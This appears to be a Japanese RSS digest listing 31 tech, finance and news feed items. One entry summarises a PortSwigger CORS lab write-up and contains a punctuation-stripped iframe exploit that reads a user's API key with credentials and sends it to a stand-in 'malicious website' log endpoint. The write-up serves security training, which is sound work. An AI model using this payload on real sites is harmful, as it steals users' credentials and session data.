投稿時間:2023-01-20 02:27:03 RSSフィード2023-01-20 02:00 分まとめ(31件)

カテゴリー等	サイト名等	記事タイトル・トレンドワード等	リンクURL	頻出ワード・要約等/検索ボリューム	登録日
AWS	AWS Security Blog	Fall 2022 SOC reports now available in Spanish	https://aws.amazon.com/blogs/security/fall-2022-soc-reports-now-available-in-spanish/	Fall SOC reports now available in SpanishSpanish version gt gt We continue to listen to our customers regulators and stakeholders to understand their needs regarding audit assurance certification and attestation programs at Amazon Web Services AWS We are pleased to announce that Fall System and Organization Controls SOC SOC and SOC reports are now available in Spanish These …	2023-01-19 16:30:31
AWS	AWS Security Blog	Fall 2022 SOC reports now available in Spanish	https://aws.amazon.com/blogs/security/fall-2022-soc-reports-now-available-in-spanish/	Fall SOC reports now available in SpanishSpanish version gt gt We continue to listen to our customers regulators and stakeholders to understand their needs regarding audit assurance certification and attestation programs at Amazon Web Services AWS We are pleased to announce that Fall System and Organization Controls SOC SOC and SOC reports are now available in Spanish These …	2023-01-19 16:30:31
AWS	lambdaタグが付けられた新着投稿 - Qiita	Goを使ってDynamoDBに一括書き込み	https://qiita.com/h-taro/items/595e5383fd0ddd831495	awssdkgo	2023-01-20 01:59:02
python	Pythonタグが付けられた新着投稿 - Qiita	和牛子牛セリ価格の予測モデルの構築	https://qiita.com/eine0772/items/6ebc075bc7959bd53aa4	自己紹介	2023-01-20 01:34:30
AWS	AWSタグが付けられた新着投稿 - Qiita	Goを使ってDynamoDBに一括書き込み	https://qiita.com/h-taro/items/595e5383fd0ddd831495	awssdkgo	2023-01-20 01:59:02
golang	Goタグが付けられた新着投稿 - Qiita	Goを使ってDynamoDBに一括書き込み	https://qiita.com/h-taro/items/595e5383fd0ddd831495	awssdkgo	2023-01-20 01:59:02
GCP	gcpタグが付けられた新着投稿 - Qiita	Google Cloud認定 Associate Cloud Engineer(ACE)とProfessional Cloud Architect(PCA)合格体験記！？	https://qiita.com/mugaki/items/0794cdef8c6af6aa9128	associatecloudengineerace	2023-01-20 01:20:29
海外TECH	MakeUseOf	6 Things You Can Do With Your Raspberry Pis in Storage	https://www.makeuseof.com/raspberry-pis-in-storage-project-ideas/	great	2023-01-19 16:30:16
海外TECH	MakeUseOf	6 Ways to Crop Images in Windows 11	https://www.makeuseof.com/crop-images-windows-11/	windows	2023-01-19 16:15:17
海外TECH	MakeUseOf	How to Show or Hide Your LinkedIn Premium Badge	https://www.makeuseof.com/how-to-show-hide-linkedin-premium-badge/	linkedin	2023-01-19 16:01:15
海外TECH	DEV Community	Portswigger’s lab write up: CORS vulnerability with trusted null origin	https://dev.to/christianpaez/portswiggers-lab-write-up-cors-vulnerability-with-trusted-null-origin-4g9c	Portswigger s lab write up CORS vulnerability with trusted null originIn this apprentice level lab we will exploit a website with a CORS vulnerability that trusts the null origin to obtain a user s private credentials Upon logging in with the given credentials we visit the account details page and check the response headers of the request to accountDetails that fetches the user s API key HTTP OKAccess Control Allow Credentials trueContent Type application json charset utf Connection closeContent Length username wiener email apikey JQufLKKzNoIahWKAKWBGePwgwJW sessions cdmflpOOpsYIpnovWUytbSDMiX We can see that the Access Control Allow Credentials true is present let s try to duplicate this request and change the Origin header to something like Origin lt gt and see if this value is reflected the resulting response will be something like this HTTP OKAccess Control Allow Credentials trueContent Type application json charset utf Connection closeContent Length username wiener email apikey JQufLKKzNoIahWKAKWBGePwgwJW sessions cdmflpOOpsYIpnovWUytbSDMiX The Origin set in the request headers is not present in the Access Control Allow Origin response headers this could mean that the server does not have CORS vulnerabilities let s try setting the Origin header to null HTTP OKAccess Control Allow Origin nullAccess Control Allow Credentials trueContent Type application json charset utf Connection closeContent Length username wiener email apikey JQufLKKzNoIahWKAKWBGePwgwJW sessions cdmflpOOpsYIpnovWUytbSDMiX The null Origin set in the request headers is present in the Access Control Allow Origin response headers this confirms us that this request has a CORS vulnerability via null origin let s use the reading material s sandboxed iframe template to craft our exploit so that the request is sent with the Origin header set to null lt html gt lt iframe sandbox allow scripts allow top navigation allow forms src data text html lt script gt var req new XMLHttpRequest req onload reqListener req open get true req withCredentials true req send function reqListener location malicious website com log key encodeURIComponent this responseText lt script gt gt lt iframe gt lt html gt	2023-01-19 16:44:07
海外TECH	DEV Community	Why to use React.js?	https://dev.to/itskunal/why-to-use-reactjs-2e9n	Why to use React js Why React React makes it easier to develop SPA s single page application It doesn t matter how many shortcoming is there in react it s popular Not only react but there are hundreds of JavaScript framework out there Every week there is a new JavaScript framework out there with tons of different features Do you need to learn them all to be a web developer No but you have to familiar with the approach of these framework to create SPA How they re different from one another And which will satisfies your app requirement development workflow infrastructure You can easily learn about these frameworks using ChatGPT But why react it s popular You should select any framework and master it rather than wasting time on selecting a best framework Start Somewhere Stop Procrastinating for more you can follow me on	2023-01-19 16:36:14
海外TECH	DEV Community	My blogging journey until now - I'm moving to Hashnode	https://dev.to/miguelmj/my-blogging-journey-until-now-im-moving-to-hashnode-496b	My blogging journey until now I x m moving to HashnodeCover photo by Jess from Pexels Starting a blogIt s been more than two years since I began blogging It all started with a development journal for one of my latest projects at the second half of I knew I wouldn t be graduating that year so I decided that I could try to gain some online presence to compensate my lack of professional experience Writing a Conversational User Interface Library Full Series MiguelMJ・Dec ・ min read closed DEV to was in a boom I was seeing a lot of developers start blogs here so I decided to give it a try I found the other platforms a bit intimidating but this one was very approachable and beginner friendly I wrote every week or two and found some interesting people to follow I didn t get much attention but it didn t matter I was here for the experience of writing and the growth that comes along I wrote more than a development journal I had a lot of opinions I had formed during my years in university and advice to give so a lot of what I wrote at that moment was the kind of things I would ve love to know as a freshman It was a true pleasure to have a space to write it all down and share it Why and how to use pen and paper Designing algorithms with no code MiguelMJ・Dec ・ min read beginners codenewbie productivity codequality Before the year ended the DEV to community did a lot of work around the moderation of the platform At that time I was made a trusted member and to say that I found it rewarding for the short time I had been here is an understatement A comfortable plateau and the seed of dissatisfactionWith the new year I slowed down my publication pace and started writing monthly There was a lot going on in my life so I felt comfortable with little activity enough to continue the habit and keep my presence out there You can tell it was a weird year for me because I have several unfinished series and a failed attempt to translate all my posts to Spanish my native language Despite all this it was a great year in terms of growing my personal brand My open source projects started to thrive I was even featured in an incipient newsletter now dead and I started writing for my current self more than for my past self Data structures in Prolog Where to start MiguelMJ・Jun ・ min read prolog datastructures resources Also a very strange episode happened that year I was invited to write a featured post for another platform As it was my first post written for someone else I wanted to make it about a popular topic JavaScript something I had never written about before Unfortunately that site turned out to be a complete scam Most of its content is stolen their complete Q amp A section is a literal scrap of the StackOverflow page and each and every user I interacted with was a bot they even used watermarked stock photos as profile pics I got out of there as quickly as possible and published my article here in DEV to In less than hours it had more traffic than all my previous posts together Today January it is still my third most read post Take full advantage of high order functions Examples in Javascript MiguelMJ・Jun ・ min read tutorial javascript functional I remember reading several posts here talking about the spam the clickbaity low effort listicles the daily copy pasted git tutorials etc If you have been here for a while you will know that the quality of the DEV to content is still an unsolved issue I didn t fully care I was comfortable here and that was all that mattered As a trusted user I did my best to mark low quality posts and boost well written original content However dissatisfaction started to grow inside me and a feeling that something was not fair here Not only because of all my beloved posts eclipsed by my own single JavaScript tutorial but also for the people I follow that publish interesting advanced content that get of attention and feedback received by the mass of low quality posts focused on beginners Last year in DEVThe following year I did very little blogging Most of my posts in were for promoting a project or another looking back I coded some interesting stuff The two biggest exceptions were very significant posts to me How to get answers on StackOverflow MiguelMJ・Feb ・ min read beginners codenewbie productivity This one came after I saw some people complaining about the StackOverflow community I wanted to do an attempt on bringing closer two of the communities I love from which beginners benefit specially I expected some backslash in the comments given the hate SO receives from some people but instead I got a lot of comments from veteran devs liking my post It also gave more insight about who reads what JavaScript is not an untyped language MiguelMJ・Jun ・ min read javascript plt computerscience beginners And then there s this one This one was an explosion I know it was a controversial opinion on a perma hot topic like JS but damn this post has five times as many views as my next most viewed post and it s my top reacted and commented post of all time It got featured in the social networks of DEV tweeted several times and even improperly published as material for an online course DEV Community ‍‍ thepracticaldev If there s something new programmers hate it s error messages I ve seen listed as one of its advantages over other languages that JavaScript produces no type errors because it s an untyped language This is wrong author MiguelMJdev DEVCommunitydev to miguelmj javas… PM Jun And it was a rant written in a single afternoon This is perfectly one of the posts I ve put the least effort into I stopped writing discouraged I know effort doesn t correlate with impact when we talk about writing on the Internet But I just didn t like the idea of going back to write high effort posts for no one always tempted to write about JavaScript again only for reads After some time I was contacted yet by another platform asking me to write a course for them Another dev that had worked with them recommended me writing my own book instead of just a course Don t get me wrong that platform is legit and has great content in fact I tried to make the course they wanted But I didn t have enough time Writing an article for a blog is something but writing a course or a book is another dimension It is something I want to do but I probably won t anytime soon The big hiatus and the decision to moveIt s been months since I published anything There are several things I want to write about but these months have been very busy plus I don t feel like I have found my audience yet which disencourages me even more I don t even read DEV anymore as the content quality has only gone down in spite of the efforts to implement tag filters and experience level for posts So to find new motivation I have decided to move on I need to keep looking for an audience that I feel I connect with I love DEV and everything I ve achieved thanks to it but I need to keep looking for a better space for my blog I m going to try my luck with Hashnode I don t have any particular reason so I don t know if it will be my definitive platform I want to see what kind of audience I can build there and explore the possibilities of a different tool Conclusion MiguelMJ s Blog I m a Computer Science graduate and programming is my passion Share knowledge share love miguelmj hashnode dev My first step has been to migrate there a curated list of my posts and polish them a bit The canonical URLs will still point to the original posts nonetheless I will keep publishing in DEV everything for the readers I already have here but I will make Hashnode my main target I guess that as a lifelong student and an eventual teacher I will always have something to write for beginners However I want to try a different level of writing and even different types of content I don t know how my blog might evolve but of course that s the exciting part	2023-01-19 16:31:02
海外TECH	DEV Community	How to Mock and Test AsyncStorage in React Native	https://dev.to/tiaeastwood/how-to-mock-and-test-asyncstorage-in-react-native-4kil	How to Mock and Test AsyncStorage in React NativeSince the original React Native AsyncStorage was deprecated you may be using the community solution react native async storage I would personally recommend it Once you start writing your unit tests with Jest amp React Native Testing Library you ll notice that initially you will get an error about async storage when we run the tests Something like this Test suite failed to run RNC AsyncStorage NativeModule AsyncStorage is null OK All you need to do is to mock AsyncStorage If you don t already have a test setup file then create one and add the following jest mock setupTests jsjest mock react native async storage async storage gt require react native async storage async storage jest async storage mock This mock comes from the react native async storage library and you can read more about it here on their docs Now make sure you reference you setupTest js file in your package json like this so that it actually gets used jest preset jest expo setupFiles setupTests js transformIgnorePatterns node modules jest react native react native community expo nent expo nent expo google fonts react navigation react navigation unimodules unimodules sentry expo native base react native svg react native async storage async storage Now the previous error should be gone and you can now test the behaviour of your AsyncStorage actions For example you might have a todo list app that stores new todo items in AsyncStorage then whenever you load up the app it gets all the items from AsyncStorage and displays them Here is an example of a test covering the following scenario import React from react import render waitFor screen fireEvent from testing library react native import App from App tsx import AsyncStorage from react native async storage async storage import renderer from react test renderer jest useFakeTimers const itemData key text test item key text another key text and another describe lt App gt gt beforeEach async gt const jsonValue JSON stringify itemData const jsonValue JSON stringify itemData const jsonValue JSON stringify itemData await AsyncStorage setItem itemData key jsonValue await AsyncStorage setItem itemData key jsonValue await AsyncStorage setItem itemData key jsonValue waitFor async gt expect AsyncStorage getAllKeys toHaveBeenCalled waitFor async gt expect await AsyncStorage getAllKeys toEqual it getAllKeys is called on render and items from async storage are displayed async gt render lt App gt const item await screen findByText test item const item await screen findByText another const item await screen findByText and another const falseItem screen queryByText i shouldn t exist expect item toBeTruthy expect item toBeTruthy expect item toBeTruthy expect falseItem toBeFalsy it new todo item is rendered to the displayed list when added async gt render lt App gt const input screen getByPlaceholderText new todo const addTodoBtn screen getByText ADD TODO fireEvent input onChangeText New Task fireEvent addTodoBtn press waitFor async gt expect await screen findByText New Task toBeTruthy I have imported AsyncStorage at the top of the file and included a beforeEach that adds my mock data to Async Storage before the tests Now I can interact with it just like I would in the real app You can also see the full repo for the todo list project here credit also goes to the Net Ninja for teaching me how to create a todo list app within his tutorial here If you have any tips or suggestions of your own then feel free to comment Happy testing	2023-01-19 16:05:21
Apple	AppleInsider - Frontpage News	M3 MacBook Air reportedly hits store shelves by end of 2023	https://appleinsider.com/articles/23/01/19/m3-macbook-air-reportedly-hits-store-shelves-by-end-of-2023?utm_medium=rss	M MacBook Air reportedly hits store shelves by end of A new and questionable report suggests that Apple s next MacBook Air running the M processor is coming in the second half of Apple could bring M to MacBook Air sooner than expectedThe MacBook Air was only just refreshed during WWDC in June but rumors are already pointing to a chip update before the end of That would make it the fastest upgrade cycle of an Apple Silicon Mac since Apple began the transition in Read more	2023-01-19 16:26:50
Apple	AppleInsider - Frontpage News	Daily Deals Jan. 19: $50 off 2023 14-inch MacBook Pro, Google Nest Doorbell for $80, Apple Watch Series 8 for $88 & more	https://appleinsider.com/articles/23/01/19/daily-deals-jan-19-50-off-2023-14-inch-macbook-pro-google-nest-doorbell-for-80-apple-watch-series-8-for-88-more?utm_medium=rss	Daily Deals Jan off inch MacBook Pro Google Nest Doorbell for Apple Watch Series for amp moreSome of the most valuable deals we discovered today include off a Samsung Trio Wireless Charging Pad off a iPad with Keyboard and Tempered Glass Kit off a Shark AI Robot Vacuum and up to off Sony TVs soundbars and speakers Get a Google Nest Doorbell for The AppleInsider crew searches the web for excellent deals at online retailers to develop a great list of deals on the best tech gadgets including deals on Apple products TVs accessories and other items We reveal the top bargains in our Daily Deals list to help you save money Read more	2023-01-19 16:54:43
Apple	AppleInsider - Frontpage News	2023 16-inch MacBook Pro vs 2021 MacBook Pro - compared	https://appleinsider.com/inside/16-inch-macbook-pro/vs/2023-16-inch-macbook-pro-vs-2021-macbook-pro---compared?utm_medium=rss	inch MacBook Pro vs MacBook Pro comparedApple has added powerful new M Pro and M Max chips to the inch and inch MacBook Pro Here s how they stack up versus the M Max and M Pro models inch MacBook ProAnnounced on January and available on January the new inch MacBook Pro and inch MacBook Pro models feature many of the same specifications with a few notable upgrades chiefly the new chips and an advanced HDMI port The new models can also eke out an extra hour of battery life Read more	2023-01-19 16:57:21
海外TECH	Engadget	UK bill would ban videos portraying Channel immigrant crossings in a 'positive light'	https://www.engadget.com/uk-ban-channel-immigrant-crossing-videos-164409268.html?src=rss	UK bill would ban videos portraying Channel immigrant crossings in a x positive light x The UK government is still expanding the scope of its Online Safety Bill Digital Culture Media and Sport secretary Michelle Donelan said in a statement that politicians will propose amending the bill to ban videos portraying Channel immigrant crossings by boat in a quot positive light quot Those clips are quot aiding and abetting quot immigration law violations according to Donelan As with child sexual abuse material CSAM and terrorist content internet platforms will have to pull crossing related footage quickly The culture secretary detailed other significant proposed amendments Senior company leaders could face prison time if they ve quot consented or connived quot to ignore online child safety requirements Platforms will also have to remove content that promotes LGBTQ conversion therapy practices Violations of any aspect of the bill could lead to fines up to £ million about million or percent of a company s global turnover The amendments should be ready for a version of the bill reaching the House of Lords The changes came after pressure from Conservative MPs like Natalie Elphicke who serves Dover ーa frequent landing site for illegal immigrants The alterations aren t surprising given growing concerns in the country over the impact of illegal immigration not to mention existing provisions in the bill for child safety However they add to the feature creep of a bill that has already been delayed several times There have been concerns the Online Safety Bill might not pass before the next general election due within two years The new provisions also won t satisfy critics like the Electronic Frontier Foundation which already claim the measure amounts to censorship They re worried the bill will also hurt privacy by eroding protections for the use of end to end encryption Whatever your stances on the issues it s safe to say the changes would further limit what UK residents are allowed to say online	2023-01-19 16:44:09
海外TECH	Engadget	'Endless Dungeon' will hit PC, Xbox and PlayStation on May 18th	https://www.engadget.com/endless-dungeon-release-date-pc-xbox-playstation-switch-163232006.html?src=rss	x Endless Dungeon x will hit PC Xbox and PlayStation on May thSega has at last revealed when folks will be able to snap up nbsp Endless Dungeon The action packed game is coming to Steam Epic Games Store Xbox Series X S PlayStation and PlayStation on May th A Nintendo Switch version will be available later Endless Dungeon from developer Amplitude Studios was previously slated for a debut It s a squad based blend of a tower defense game and a twin stick shooter Players are tasked with both protecting a so called crystal bot and progressing further into a dungeon You can team up with three friends or go it alone and control three characters by yourself you ll have direct control over one and bark orders at the other two Endless Dungeon is a roguelite so you ll gradually unlock persistent upgrades weapons and characters Alongside the release date announcement Sega opened up pre orders for most platforms You ll get early access two days before the official launch as well as some extra goodies by pre ordering the “Last Wish digital edition A physical Day One edition with a card game and art book is available too Sega also released a new trailer which shows some more chaotic gameplay	2023-01-19 16:32:32
金融	金融庁ホームページ	令和４年12月に開催された業界団体との意見交換会において金融庁が提起した主な論点を公表しました。	https://www.fsa.go.jp/common/ronten/index.html	意見交換会	2023-01-19 17:00:00
金融	金融庁ホームページ	「スタートアップ支援に関する申し合わせ」について公表しました。	https://www.fsa.go.jp/news/r4/ginkou/20230119.html	申し合わせ	2023-01-19 17:00:00
金融	金融庁ホームページ	鈴木財務大臣兼内閣府特命担当大臣閣議後記者会見の概要（令和５年１月17日）を掲載しました。	https://www.fsa.go.jp/common/conference/minister/2023a/20230117-1.html	内閣府特命担当大臣	2023-01-19 17:00:00
ニュース	BBC News - Home	Beth Matthews: Blogger who took poisonous substance failed by hospital	https://www.bbc.co.uk/news/uk-england-manchester-64305822?at_medium=RSS&at_campaign=KARANGA	inquest	2023-01-19 16:52:08
ニュース	BBC News - Home	Alec Baldwin to be charged over deadly shooting on Rust film set	https://www.bbc.co.uk/news/world-us-canada-64337761?at_medium=RSS&at_campaign=KARANGA	halyna	2023-01-19 16:32:55
ニュース	BBC News - Home	Rishi Sunak sorry for removing seatbelt to film video	https://www.bbc.co.uk/news/uk-politics-64337866?at_medium=RSS&at_campaign=KARANGA	media	2023-01-19 16:41:06
ニュース	BBC News - Home	Nadia Zofia Kalinowska: Stepfather admits child's murder	https://www.bbc.co.uk/news/uk-northern-ireland-64338076?at_medium=RSS&at_campaign=KARANGA	december	2023-01-19 16:16:37
ニュース	BBC News - Home	Teachers' strikes: When and why are teachers striking?	https://www.bbc.co.uk/news/education-63283289?at_medium=RSS&at_campaign=KARANGA	schools	2023-01-19 16:14:21
ニュース	BBC News - Home	The barber using Call of Duty to speak to his family in Iran	https://www.bbc.co.uk/news/uk-england-birmingham-64337682?at_medium=RSS&at_campaign=KARANGA	whatsapp	2023-01-19 16:23:43
ニュース	BBC News - Home	RFU approves reduction in tackle height for England community game to improve player safety	https://www.bbc.co.uk/sport/rugby-union/64333462?at_medium=RSS&at_campaign=KARANGA	RFU approves reduction in tackle height for England community game to improve player safetyRugby chiefs are to introduce a reduction in tackle height from next season in the community game to improve player safety	2023-01-19 16:28:05
ビジネス	不景気.com	福井のパン店「プレジュール」に破産開始決定、負債3億円 - 不景気com	https://www.fukeiki.com/2023/01/les-plaisir.html	株式会社	2023-01-19 16:40:42
ビジネス	不景気.com	金沢の「杉浦クリニック」に破産開始決定、負債1億円 - 不景気com	https://www.fukeiki.com/2023/01/sugiura-clinic.html	医療法人社団	2023-01-19 16:16:18